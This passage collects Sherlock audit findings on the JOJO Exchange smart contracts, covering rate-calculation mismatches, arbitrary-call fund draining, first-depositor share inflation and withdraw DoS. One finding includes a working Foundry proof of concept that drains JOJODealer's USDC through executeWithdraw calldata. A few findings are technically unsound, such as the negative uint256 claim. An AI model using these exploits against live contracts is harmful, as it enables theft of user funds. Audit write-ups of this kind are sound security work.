        if (currentTimestamp == lastUpdateTimestamp) {
            return;
        }
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>      tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
        lastUpdateTimestamp = currentTimestamp;
    }

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@>      return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
    }

To show you they return different values, suppose tRate = 2, timeDifference = 1 year, borrowFeeRate = 10%. accrueRate() will calculate 2 * (1 * 10% / 1 + 1) = 2.2.
At the same time getTRate() will calculate 2 + (1 * 10% / 1) = 2.1.

Impact

User can be immediately liquidated after collateral withdrawal.
In withdraw it uses getTRate() to check health:

    function withdraw(
        address collateral,
        uint256 amount,
        address to,
        bool isInternal
    )
        external
        override
        nonReentrant
        nonFlashLoanReentrant
    {
        Types.UserInfo storage user = userInfo[msg.sender];
        _withdraw(amount, collateral, to, msg.sender, isInternal);
        uint256 tRate = getTRate();
@>      require(_isAccountSafe(user, tRate), Errors.AFTER_WITHDRAW_ACCOUNT_IS_NOT_SAFE);
    }

But in liquidation it accrues rate, which makes tRate higher that it was checked before in withdraw():

    function liquidate(
        address liquidated,
        address collateral,
        address liquidator,
        uint256 amount, //@note ัั‚ะพ ัะบะพะปัŒะบะพ ะปะธะบะฒะธะดะฐั‚ะพั€ ั…ะพั‡ะตั‚ ะฟะพะปัƒั‡ะธั‚ัŒ ะบะพะปะปะฐั‚ะตั€ะฐะปะฐ
        bytes memory afterOperationParam,
        uint256 expectPrice
    )
        external
        override
        //@audit ะฝะตะผะฝะพะณะพ ัั‚ั€ะฐะฝะฝะพ - ะผะพะถะฝะพ ะปะธะบะฒะธะดะธั€ะพะฒะฐั‚ัŒ ะฟะพะด ะฒะธะดะพะผ ะดั€ัƒะณะพะณะพ ัŽะทะตั€ะฐ
        isValidOperator(msg.sender, liquidator)
        nonFlashLoanReentrant
        returns (Types.LiquidateData memory liquidateData)
    {
@>      accrueRate();
        ...
    }

To sum up, if user withdraws collateral near liquidation threshold, it will be liquidated immediately because health check and liquidate use different formulas to calculate tRate - health check underestimates tRate.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBankStorage.sol#L63-L66
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDBank.sol#L130-L162

Tool used

Manual Review

Recommendation

Refactor getTRate():

    function getTRate() public view returns (uint256) {
        uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
-       return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
+       return tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
    }

Duplicate of #1

bareli - Input Validation

bareli

medium

Input Validation

Summary

Input Validation: The function updateFundingRate assumes that the lengths of perpList and rateList are equal and does not perform any checks to ensure this. Malicious input could cause the function to revert or behave unexpectedly.

Vulnerability Detail

function updateFundingRate(address[] calldata perpList, int256[] calldata rateList) external onlyOwner {
for (uint256 i = 0; i < perpList.length;) {
address perp = perpList[i];
int256 oldRate = IPerpetual(perp).getFundingRate();
uint256 maxChange = getMaxChange(perp);
@> require((rateList[i] - oldRate).abs() <= maxChange, "FUNDING_RATE_CHANGE_TOO_MUCH");
fundingRateUpdateTimestamp[perp] = block.timestamp;
unchecked {
++i;
}
}
IDealer(dealer).updateFundingRate(perpList, rateList);
}

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateUpdateLimiter.sol#L37

Tool used

Manual Review

Recommendation

use a require statement for the array length verification.

bughuntoor - Project may be unable to be deployed on Arbitrum due to incompatibility with Shanghai hardfork

bughuntoor

medium

Project may be unable to be deployed on Arbitrum due to incompatibility with Shanghai hardfork

Summary

Project might be unusable upon deployment due to not supporting PUSH0 OPCODE

Vulnerability Detail

The project uses unsafe pragma (^0.8.20) which by default uses PUSH0 OPCODE. However, Arbitrum currently does not support it.

This means that the produced bytecode for the different contracts won't be compatible with Arbitrum as it does not yet support the Shanghai hard fork.

Impact

Unusable contracts, will need redeploy

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJOExternal.sol#L6

Tool used

Manual Review

Recommendation

change pragma to 0.8.19 or change the EVM version

bughuntoor - Adversary can DoS all users from regular withdraws

bughuntoor

high

Adversary can DoS all users from regular withdraws

Summary

Adversary can DoS all users from regular withdraws

Vulnerability Detail

In JOJODealer, whenever users would like to withdraw, they'd have to first request a withdraw and then after withdrawTimelock passes, they can call executeWithdraw.

    function requestWithdraw(
        Types.State storage state,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        external
    {
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
        state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
        state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
        state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
        emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
    }

In order for a withdraw request to succeed, it needs to pass the isWithdrawValid

    function isWithdrawValid(
        Types.State storage state,
        address spender,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        internal
        view
        returns (bool)
    {
        return spender == from
            || (
                state.primaryCreditAllowed[from][spender] >= primaryAmount
                    && state.secondaryCreditAllowed[from][spender] >= secondaryAmount
            );
    }

The problem here is that the request allows for both primaryAmount and secondaryAmount to be exactly 0. Any user can call requestWithdraw for another user with both values being 0 and the check above would pass, effectively overwriting any current request.

A malicious user could back-run any withdraw request with such 0 values and overwrite it, basically cancelling it.

Impact

Adversary can fully DoS regular withdraws.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L51C1-L67C6

Tool used

Manual Review

Recommendation

Upon requesting a withdraw, check that at least one of the values is non-zero.

Duplicate of #53

bareli - check the return value of function

bareli

medium

check the return value of function

Summary

The contract assumes success when calling approve and repay on the ERC20.sol and jusdBank contracts, respectively. It does not check the return value of these function calls, which could lead to unexpected behavior if they fail.

Vulnerability Detail

@>> IJUSDBank(jusdBank).repay(liquidateData.actualLiquidated, to);

function repay(uint256 amount, address to) external override nonReentrant returns (uint256) {
Types.UserInfo storage user = userInfo[to];
accrueRate();
@>> return _repay(user, msg.sender, to, amount, tRate);
}

function _repay(
Types.UserInfo storage user,
address payer,
address to,
uint256 amount,
uint256 tRate
)
internal
@>> returns (uint256)
{

Impact

t does not check the return value of these function calls, which could lead to unexpected behavior if they fail.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FlashLoanLiquidate.sol#L71

Tool used

Manual Review

Recommendation

check the return value of these function calls.

Duplicate of #85

cawfree - Loss of Funds: `JOJODealer.sol` can be drained via calls to `executeWithdraw`.

cawfree

high

Loss of Funds: JOJODealer.sol can be drained via calls to executeWithdraw.

Summary

When calling executeWithdraw(address,address,bool,bytes), the caller is permitted to specify an arbitrary to address and an arbitrary bytes payload, param. When to is a contract, the arbitrary payload is used as calldata for invocation.

An attacker can exploit this by specifying a to address of an asset managed or approved to the JojoDealer, such as $USDC, and provide calldata to exploit this.

Vulnerability Detail

In the test below, we demonstrate that during a normal withdrawal flow, an attacker can specify they wish to withdraw to a trusted contract with an arbitrary bytes payload.

In this flow, the _ATTACKER approves themselves to spend the full USDC balance of the jojoDealer:

DealerFundTest.sol

function testWithdrawInternalTransferSherlock() public {
    jojoDealer.setWithdrawTimeLock(10);

    // First, `traders[0]` configures a position.
    vm.startPrank(traders[0]);
    jojoDealer.deposit(1_000_000e6, 1_000_000e6, traders[0]);
    jojoDealer.requestWithdraw(traders[0], 500_000e6, 200_000e6);

    cheats.expectRevert("JOJO_WITHDRAW_PENDING");
    jojoDealer.executeWithdraw(traders[0], traders[1], true, "");
    vm.stopPrank();

    // Let's also configure an attacker with some balance
    // to deposit.
    address _ATTACKER = address(0x69);

    vm.startPrank(_ATTACKER);

    // Mint some initial collateral.
    usdc.mint(_ATTACKER, 1e6);
    jusd.mint(_ATTACKER, 1e6);

    // Configure approvals.
    usdc.approve(address(jojoDealer), 1e6);
    jusd.approve(address(jojoDealer), 1e6);

    // Make a deposit.
    jojoDealer.deposit(1e6, 1e6, _ATTACKER);

    vm.stopPrank();

    // Simulate the passage of time. (Instead of using `vm.warp`,
    // we are following conventions in `DealerFundTest.t.sol`).
    jojoDealer.setWithdrawTimeLock(0);

    // Time to initialize the attack.
    vm.startPrank(_ATTACKER);

    // To start, verify we are unable to spend the dealer's funds:
    assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), 0);

    // Here, we withdraw our collateral to the USDC address.
    jojoDealer.executeWithdraw(_ATTACKER, address(usdc), true, abi.encodeWithSignature("approve(address,uint256)", _ATTACKER, type(uint256).max));

    // Now assert that we can:
    assertEq(usdc.allowance(address(jojoDealer), _ATTACKER), type(uint256).max);

    // Verify we don't have an initial starting balance.
    assertEq(usdc.balanceOf(_ATTACKER), 0);

    // Excellent. Let's take everything.
    usdc.transferFrom(address(jojoDealer), _ATTACKER, usdc.balanceOf(address(jojoDealer)));

    // Confirm we took everything.
    assertEq(usdc.balanceOf(_ATTACKER), 1000001000000);

    vm.stopPrank();
}

As JojoDealer is a critical system component, this attack can be further generalized to further exploit different token approvals or balances.

Impact

I've labelled this as high severity, since an attacker can very easily drain the contract through a normal user journey with no complex additional setup, restrictive financial barrier or dependence upon a trusted actor.

In addition, since the vulnerable contract will receive token spend approvals from users (and for good user experience, user interfaces will often try to approve type(uint256).max for expenditure), the potential losses incurred through interacting with the contract can be far larger than what is demonstrated here.

Code Snippet

function _withdraw(
    Types.State storage state,
    address spender,
    address from,
    address to,
    uint256 primaryAmount,
    uint256 secondaryAmount,
    bool isInternal,
    bytes memory param
)
    private
{
    if (spender != from) {
        state.primaryCreditAllowed[from][spender] -= primaryAmount;
        state.secondaryCreditAllowed[from][spender] -= secondaryAmount;
        emit Operation.FundOperatorAllowedChange(
            from, spender, state.primaryCreditAllowed[from][spender], state.secondaryCreditAllowed[from][spender]
        );
    }
    if (primaryAmount > 0) {
        state.primaryCredit[from] -= SafeCast.toInt256(primaryAmount);
        if (isInternal) {
            state.primaryCredit[to] += SafeCast.toInt256(primaryAmount);
        } else {
            IERC20(state.primaryAsset).safeTransfer(to, primaryAmount);
        }
    }
    if (secondaryAmount > 0) {
        state.secondaryCredit[from] -= secondaryAmount;
        if (isInternal) {
            state.secondaryCredit[to] += secondaryAmount;
        } else {
            IERC20(state.secondaryAsset).safeTransfer(to, secondaryAmount);
        }
    }

    if (primaryAmount > 0) {
        // if trader withdraw primary asset, we should check if solid safe
        require(Liquidation._isSolidIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
    } else {
        // if trader didn't withdraw primary asset, normal safe check is enough
        require(Liquidation._isIMSafe(state, from), Errors.ACCOUNT_NOT_SAFE);
    }

    if (isInternal) {
        emit TransferIn(to, primaryAmount, secondaryAmount);
        emit TransferOut(from, primaryAmount, secondaryAmount);
    } else {
        emit Withdraw(to, from, primaryAmount, secondaryAmount);
    }

    if (param.length != 0) {
        require(Address.isContract(to), "target is not a contract");
        (bool success,) = to.call(param);
        if (success == false) {
            assembly {
                let ptr := mload(0x40)
                let size := returndatasize()
                returndatacopy(ptr, 0, size)
                revert(ptr, size)
            }
        }
    }
}

Tool used

Vim, Foundry

Recommendation

Do not permit arbitrary function calls from trusted contracts designed to hold funds or receive token approvals.

Possible remediations:

  1. Move the ability to originate arbitrary external calls to a dumb contract which does not act as a trusted component of the stack.
  2. Require that targets are executed using a formal JOJO-specific callback interface.

Duplicate of #7

joicygiore - `UniswapPriceAdaptor::getPrice()`must default to `EmergencyOracle::turnOn() == true`, otherwise the program will not execute properly. Failure to update the `EmergencyOracle(priceFeedOracle).getMarkPrice()` data in a timely manner further causes the program to revert

joicygiore

medium

UniswapPriceAdaptor::getPrice()must default to EmergencyOracle::turnOn() == true, otherwise the program will not execute properly. Failure to update the EmergencyOracle(priceFeedOracle).getMarkPrice() data in a timely manner further causes the program to revert

Summary

UniswapPriceAdaptor::getPrice() defaults to EmergencyOracle::turnOn() == true, otherwise the program will not be executed normally.

Vulnerability Detail

if EmergencyOracle::turnOn() is closed, when UniswapPriceAdaptor::getPrice() will revert the emergency oracle is close. The program must ensure that EmergencyOracle::turnOn() is turned on and that EmergencyOracle::setMarkPrice() is called at all times to update the price,Failure to update prices in a timely manner may revert deviation is too big.

UniswapPriceAdaptor::getPrice()

    function getPrice() internal view returns (uint256) {
        uint256 uniswapPriceFeed = IStaticOracle(UNISWAP_V3_ORACLE).quoteSpecificPoolsWithTimePeriod(
            uint128(10 ** decimal), baseToken, quoteToken, pools, period
        );
        uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
        uint256 diff =
            jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
        require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
        return uniswapPriceFeed;
    }

EmergencyOracle::getMarkPrice()

    function getMarkPrice() external view returns (uint256) {
        require(turnOn, "the emergency oracle is close");
        return price;
    }

Impact

UniswapPriceAdaptor::getPrice()must default to EmergencyOracle::turnOn() == true, otherwise the program will not execute properly. Failure to update the EmergencyOracle(priceFeedOracle).getMarkPrice() data in a timely manner further causes the program to revert

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/oracle/UniswapPriceAdaptor.sol#L67-L76

Tool used

Manual Review

Recommendation

UniswapPriceAdaptor contract Add a switch

contract UniswapPriceAdaptor is Ownable {
    IStaticOracle public immutable UNISWAP_V3_ORACLE;
    address public immutable baseToken;
    address public immutable quoteToken;
    address public priceFeedOracle;
    uint256 public impact; 
    uint32 public period; 
    uint8 public decimal;
    address[] public pools;
+   bool public isSelfOracle;

    event UpdatePools(address[] oldPools, address[] newPools);
    event UpdatePeriod(uint32 oldPeriod, uint32 newPeriod);
    event UpdateImpact(uint256 oldImpact, uint256 newImpact);

    constructor(
        address _uniswapAdaptor,
        uint8 _decimal,
        address _baseToken,
        address _quoteToken,
        address[] memory _pools,
        uint32 _period,
        address _priceFeedOracle,
        uint256 _impact
    ) {
        UNISWAP_V3_ORACLE = IStaticOracle(_uniswapAdaptor);
        decimal = _decimal;
        baseToken = _baseToken;
        quoteToken = _quoteToken;
        pools = _pools;
        period = _period;
        priceFeedOracle = _priceFeedOracle;
        impact = _impact;
    }

-   function getPrice() internal view returns (uint256) {
+   function getUniswapPrice() internal view returns (uint256) {
        uint256 uniswapPriceFeed = IStaticOracle(UNISWAP_V3_ORACLE).quoteSpecificPoolsWithTimePeriod(
            uint128(10 ** decimal), baseToken, quoteToken, pools, period
        );
-       uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
-       uint256 diff =
-            jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
-       require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
        return uniswapPriceFeed;
    }

+   function getPrice() internal view returns (uint256) {
+       uint256 uniswapPriceFeed = getUniswapPrice();
+       if (isSelfOracle) {
+           uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
+           uint256 diff =
+               jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
+           require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
+           return uniswapPriceFeed;
+       } else {
+           return uniswapPriceFeed;
+       }
+   }

    function getMarkPrice() external view returns (uint256 price) {
        price = getPrice();
    }

    function getAssetPrice() external view returns (uint256 price) {
        price = getPrice();
    }

    function updatePools(address[] memory newPools) external onlyOwner {
        emit UpdatePools(pools, newPools);
        pools = newPools;
    }

    function updatePeriod(uint32 newPeriod) external onlyOwner {
        emit UpdatePeriod(period, newPeriod);
        period = newPeriod;
    }

    function updateImpact(uint256 newImpact) external onlyOwner {
        emit UpdateImpact(impact, newImpact);
        impact = newImpact;
    }


+   function turnOnJOJOOracle() external onlyOwner {
+       isSelfOracle = true;
+   }

+   function turnOffJOJOOracle() external onlyOwner {
+       isSelfOracle = false;
+   }
}

bughuntoor - First depositor issue in `FundingRateArbitrage`

bughuntoor

medium

First depositor issue in FundingRateArbitrage

Summary

An attacker might steal an innocent user's deposit within FundingRateArbitrage

Vulnerability Detail

Upon depositing into the contract, the user specifies how much USDC they want to deposit. Then, the amount is divided by the current index and this is effectively the user's 'shares' (earnUSDCAmount).

        uint256 earnUSDCAmount = amount.decimalDiv(getIndex());
        IERC20(usdc).transferFrom(msg.sender, address(this), amount);
        JOJODealer(jojoDealer).deposit(0, amount, msg.sender);
        earnUSDCBalance[msg.sender] += earnUSDCAmount;

An attacker can basically do the common ERC4626 first depositor attack and steal the first depositor's assets

  • Deposit 1 wei and mint 1 share
  • Wait for innocent user's deposit (e.g. for 1e18)
  • Front-run it and donate 1e18 to the contract, making the price per share 1e18 + 1
  • Innocent user's shares get rounded down to 0.
  • Attacker can then withdraw all funds and repeat the attack.

Impact

Steal first depositor's assets

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L265C1-L268C55

Tool used

Manual Review

Recommendation

A solution would be after first depositor lock 1000 shares to a burn address

Duplicate of #54

bareli - The return value of an external call is not stored in a local or state variable.

bareli

medium

The return value of an external call is not stored in a local or state variable.

Summary

approve(address spender, uint256 amount) โ†’ bool

Vulnerability Detail

IERC20(usdc).approve(jojoDealer, usdcAmount);

Impact

we will not know whether its approved or not.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/DepositStableCoinToDealer.sol#L66

Tool used

Manual Review

Recommendation

Ensure that all the return values of the function calls are used.

T1MOH - ConstOracle.sol doesn't fully implement IPriceSource.sol

T1MOH

medium

ConstOracle.sol doesn't fully implement IPriceSource.sol

Summary

ConstOracle.sol doesn't have method getAssetPrice()

Vulnerability Detail

It is specified in README that ConstOracle will be set after collateral is delisted:

unused contract: in the delist, we will replace the oracle to make the price anchored a fixed price

However ConstOracle.sol doesn't have method getAssetPrice(), this will cause a revert in some other interactions:

  1. Liquidator can't receive that delisted asset in liquidation., note that he can specify any collateral that user deposited.
function liquidate(...)
        external
        override
        isValidOperator(msg.sender, liquidator)
        nonFlashLoanReentrant
        returns (Types.LiquidateData memory liquidateData)
    {
        ...
        liquidateData = _calculateLiquidateAmount(liquidated, collateral, amount);
        ...
    }

    function _calculateLiquidateAmount(
        address liquidated,
        address collateral,
        uint256 amount
    )
        internal
        view
        returns (Types.LiquidateData memory liquidateData)
    {
        Types.UserInfo storage liquidatedInfo = userInfo[liquidated];
        require(_isStartLiquidation(liquidatedInfo, tRate), Errors.ACCOUNT_IS_SAFE);
        Types.ReserveInfo memory reserve = reserveInfo[collateral];
@>      uint256 price = IPriceSource(reserve.oracle).getAssetPrice();
        ...
    }
  1. Some view functions will revert, but that's low impact
    https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDView.sol#L30
    https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/JUSDView.sol#L55

Impact

Liquidator can't liquidate delisted collateral

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/oracle/ConstOracle.sol#L8

Tool used

Manual Review

Recommendation

Add missing method

bareli - Gas Limitations

bareli

medium

Gas Limitations

Summary

Gas Limitations: The updateFundingRate function could potentially run out of gas if the arrays provided are too long, as it loops through all elements without any gas checks.

Vulnerability Detail

function updateFundingRate(address[] calldata perpList, int256[] calldata rateList) external onlyOwner {
for (uint256 i = 0; i < perpList.length;) {
address perp = perpList[i];
int256 oldRate = IPerpetual(perp).getFundingRate();
uint256 maxChange = getMaxChange(perp);
require((rateList[i] - oldRate).abs() <= maxChange, "FUNDING_RATE_CHANGE_TOO_MUCH");
fundingRateUpdateTimestamp[perp] = block.timestamp;
unchecked {
++i;
}
}
IDealer(dealer).updateFundingRate(perpList, rateList);
}

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateUpdateLimiter.sol#L37

Tool used

Manual Review

Recommendation

limit on array length

AuditorPraise - `collateral` should approve `jusdBank` to 0 first because collateral can be USDT

AuditorPraise

medium

collateral should approve jusdBank to 0 first because collateral can be USDT

Summary

USDT needs approvals to be set to 0 first

Vulnerability Detail

collateral can be USDT and the collateral doesn't approve jusdBank to 0 first before setting it to uint256.max

Impact

since collateral doesn't set jusdBank to 0 first USDT is incompatible as a collateral.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L77

Tool used

Manual Review

Recommendation

make collateral approve jusdBank to 0 first because collateral can be USDT

rvierdiiev - Share price manipulation by first depositor in FundingRateArbitrage

rvierdiiev

high

Share price manipulation by first depositor in FundingRateArbitrage

Summary

First depositor in FundingRateArbitrage can increased share price in order to make next depositors loss funds in favor to attacker.

Vulnerability Detail

First depositor in FundingRateArbitrage contract will get index as e18. This means that he can provide 1 unit of usdc and make totalEarnUSDCBalance to be 1 as well.

When totalEarnUSDCBalance != 0, then getNetValue function is called to calculate funds controlled by contract. Then this amount is divided by all shares, to get index.

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L87-L95

    function getNetValue() public view returns (uint256) {
        uint256 jusdBorrowed = IJUSDBank(jusdBank).getBorrowBalance(address(this));
        uint256 collateralAmount = IJUSDBank(jusdBank).getDepositBalance(collateral, address(this));
        uint256 usdcBuffer = IERC20(usdc).balanceOf(address(this));
        uint256 collateralPrice = IJUSDBank(jusdBank).getCollateralPrice(collateral);
        (int256 perpNetValue,,,) = JOJODealer(jojoDealer).getTraderRisk(address(this));
        return
            SafeCast.toUint256(perpNetValue) + collateralAmount.decimalMul(collateralPrice) + usdcBuffer - jusdBorrowed;
    }

There are different ways for attacker to donate funds to the FundingRateArbitrage contract and one of them is just to send usdc directly.

In case if attacker will donate big amount of funds to the FundingRateArbitrage, then he will increase the index price.
And when next depositor will call deposit, then because if large index price, he can get 0 earnUSDCAmount. After that totalEarnUSDCBalance do not change, but getNetValue increases, which means that index price has increased and attacker has gained profit.

Impact

Attacker can earn profit by increasing share price.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Make sure first depositor does not small deposit.

Duplicate of #54

T1MOH - All funds can be stolen from JOJODealer

T1MOH

high

All funds can be stolen from JOJODealer

Summary

Funding._withdraw() makes arbitrary call with user specified params. User can for example make ERC20 to himself and steal funds.

Vulnerability Detail

User can specify parameters param and to when withdraws:

    function executeWithdraw(address from, address to, bool isInternal, bytes memory param) external nonReentrant {
        Funding.executeWithdraw(state, from, to, isInternal, param);
    }

In the end of _withdraw() function address to is called with that bytes param:

    function _withdraw(
        Types.State storage state,
        address spender,
        address from,
        address to,
        uint256 primaryAmount,
        uint256 secondaryAmount,
        bool isInternal,
        bytes memory param
    )
        private
    {
        ...

        if (param.length != 0) {
@>          require(Address.isContract(to), "target is not a contract");
            (bool success,) = to.call(param);
            if (success == false) {
                assembly {
                    let ptr := mload(0x40)
                    let size := returndatasize()
                    returndatacopy(ptr, 0, size)
                    revert(ptr, size)
                }
            }
        }
    }

As an attack vector attacker can execute withdrawal of 1 wei to USDC contract and pass calldata to transfer arbitrary USDC amount to himself via USDC contract.

Impact

All funds can be stolen from JOJODealer

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/libraries/Funding.sol#L173-L184

Tool used

Manual Review

Recommendation

Don't make arbitrary call with user specified params

0xC - Lack of validation for negative values in the `deposit` function within the `FundingRateArbitrage` contract

0xC

high

Lack of validation for negative values in the deposit function within the FundingRateArbitrage contract

Summary

The deposit function within the FundingRateArbitrage smart contract lacks validation to prevent negative amount values from being accepted as deposits. This oversight could potentially allow malicious actors to exploit the contract by providing negative values for amount.

Vulnerability Detail

In the deposit function, the contract uses the following line of code to check if the amount is non-zero:

require(amount != 0, "deposit amount is zero");

However, this code neglects to verify whether the amount is negative, which means that it does not prevent negative values from being used as deposits. As a result, a malicious user could submit a negative amount, and the existing require statement would not detect this, potentially leading to unintended and harmful outcomes.

Impact

The absence of validation for negative amount values in the deposit function could have severe consequences, including but not limited to:

  • Unauthorized withdrawal or manipulation of funds.
  • Distorted account balances.
  • Loss of user assets.
  • Exploitation of contract vulnerabilities.

Code Snippet

function deposit(uint256 amount) external {
    require(amount != 0, "deposit amount is zero"); // Potential vulnerability
    // Rest of the function logic...
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L259

Tool used

Manual Review

Recommendation

To mitigate this vulnerability, it is strongly advised to enhance the deposit function by explicitly verifying that the amount is both positive and non-zero. You can achieve this by modifying the function as follows:

function deposit(uint256 amount) external {
    require(amount > 0, "deposit amount must be positive"); // Updated validation
    // Rest of the function logic...
}

By including the amount > 0 check, you ensure that only positive and non-zero values are accepted as valid deposits, thereby reducing the risk of unintended behavior or exploitation of the contract.

bareli - use safetransferfrom and safetransfer instead of transferfrom and transfer

bareli

medium

use safetransferfrom and safetransfer instead of transferfrom and transfer

Summary

we should be using safetransferfrom and safetransfer instead of transferfrom and transfer.The return value of an external transfer/transferFrom call is not checked

Vulnerability Detail

        IERC20(usdc).transferFrom(msg.sender, owner(), feeAmount);

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L263

Tool used

Manual Review

Recommendation

Use SafeERC20, or ensure that the transfer/transferFrom return value is checked.

Duplicate of #49

rudolph - Users can liquidate themselves

rudolph

high

Users can liquidate themselves

Summary

Typically, in lending platforms or futures exchanges, some restrictions prevent users from liquidating themselves. That is the liquidator should be different from the borrower. Because liquidation often comes with a liquidation incentive, and in terms of reasonableness and fairness this shouldn't be given to the liquidated person.

More importantly, in the logic of some protocols, if the liquidator and the borrower are the same in liquidation, there is a risk of data overwriting, leading to unforeseen consequences. For example, the borrower can redeem the collateral without repayment.

Vulnerability Detail

The liquidate() function currently lacks restrictions preventing a trader from liquidating themselves. To address this issue, the code logic needs to be revised. This can create an unfair advantage for the trader, which is not in the best interest of other participants.

making it impossible to track your actual position and determine your safe status. As a result, L149 can be passed, allowing you to avoid liquidation.

  1. The hacker participates in one perpetual. If the hacker wins money, it is fine.
  2. When the hacker loses and meets the liquidation, he can liquidate himself and get his margin back without any payment.
  3. Therefore hackers can keep making money by constantly moving positions and never lose money.

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/Perpetual.sol#L141

        _settle(liquidatedTrader, liqedPaperChange, liqedCreditChange);
        _settle(liquidator, liqtorPaperChange, liqtorCreditChange);
        require(IDealer(owner()).isSafe(liquidator), "LIQUIDATOR_NOT_SAFE");

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/Perpetual.sol#L162

    function _settle(address trader, int256 paperChange, int256 creditChange) internal {
        bool isNewPosition = balanceMap[trader].paper == 0;
        int256 rate = fundingRate; // gas saving
        int256 credit =
            int256(balanceMap[trader].paper).decimalMul(rate) + int256(balanceMap[trader].reducedCredit) + creditChange;
        int128 newPaper = balanceMap[trader].paper + SafeCast.toInt128(paperChange);
        int128 newReducedCredit = SafeCast.toInt128(credit - int256(newPaper).decimalMul(rate));
        balanceMap[trader].paper = newPaper;
        balanceMap[trader].reducedCredit = newReducedCredit;
        emit BalanceChange(trader, paperChange, creditChange);
        if (isNewPosition) {
            IDealer(owner()).openPosition(trader);
        }
        if (newPaper == 0) {
            // realize PNL
            IDealer(owner()).realizePnl(trader, balanceMap[trader].reducedCredit);
            balanceMap[trader].reducedCredit = 0;
        }
    }

Tool used

Manual Review

Recommendation

We suggest adding a restriction that prohibits self-liquidation.

bareli - borrowFeeRate is never initialized

bareli

high

borrowFeeRate is never initialized

Summary

borrowFeeRate is neverinitialized and it has been used in accrueRate() and getTRate()..

Vulnerability Detail

function accrueRate() public {
uint256 currentTimestamp = block.timestamp;
if (currentTimestamp == lastUpdateTimestamp) {
return;
}
uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);
@> tRate = tRate.decimalMul((timeDifference * borrowFeeRate) / Types.SECONDS_PER_YEAR + 1e18);
lastUpdateTimestamp = currentTimestamp;
}

function getTRate() public view returns (uint256) {
    uint256 timeDifference = block.timestamp - uint256(lastUpdateTimestamp);

@> return tRate + (borrowFeeRate * timeDifference) / Types.SECONDS_PER_YEAR;
}
}

Impact

output will always be zero.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JUSDBankStorage.sol#L53

Tool used

Manual Review

Recommendation

